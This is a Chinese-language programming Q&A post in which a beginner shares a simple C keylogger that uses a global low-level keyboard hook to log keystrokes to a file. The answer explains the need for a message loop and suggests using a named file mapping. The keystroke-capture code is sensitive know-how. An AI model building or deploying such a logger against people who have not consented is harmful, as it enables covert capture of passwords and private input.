好吧,我还是C语言的新手。
让我说我有这个代码:
source.c
#include "logger.c"
int main{
FILE *myfile1;
fileX = fopen("myfile.txt, a+);
SetHook(fileX);
}
然后我有一个非常简单的键盘记录器
logger.c
HHOOK _hook;
KBDLLHOOKSTRUCT kbdStruct;
LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode >= 0)
{
if (wParam == WM_KEYDOWN)
{
// PRINT INTO THE FILE
kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
fprintf(fileX, "%c", kbdStruct.vkCode);
}
}
return CallNextHookEx(_hook, nCode, wParam, lParam);
}
void SetHook(fileX)
{
_hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0)
}
基本上,我想这样分离代码。
但是我认为这是错误的,我需要传递那个“ fileX”而不是传递给setHOOK()函数,而是传递给那个“ LRESULT __stdcall ...”,我不知道该怎么做。
感谢您的帮助。
答案 0 :(得分:1)
WH_KEYBOARD_LL是全局挂钩,您需要将其挂钩过程放置在与 安装挂钩程序的应用程序。 (为简单起见,您可以在应用程序中添加钩子程序,它也可以正常工作。但这不是建议的方法。)
({SetWindowsHookExA function Using Hooks)
此挂钩在安装它的线程的上下文中被调用。 通过向安装线程的线程发送消息来进行调用。 钩。因此,安装挂钩的线程必须有一个 消息循环。 (换句话说,应用程序需要一个窗口,以便它可以继续发送消息。)
(LowLevelKeyboardProc callback function)
出于学习钩子的目的,我的建议是开始使用Visual Studio Windows桌面应用程序模板(C ++)。
注册键盘挂钩并在挂钩中接收消息很简单。
要在钩子生成器中写入文件,您可以创建一个命名文件映射,这样就无需将文件句柄传递给钩子。您可以使用其名称打开此文件映射,并使用此文件映射写入文件。 (Creating Named Shared Memory)
static HHOOK hhookKeyPress;
hhookKeyPress = SetWindowsHookEx(
WH_KEYBOARD_LL,
KeyboardHookCallback,
NULL,
0);
// Main message loop:
while (GetMessage(&msg, nullptr, 0, 0))
{
if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
分享以上信息可帮助您入门,然后在以后可以找到C编程方式。希望对您有所帮助。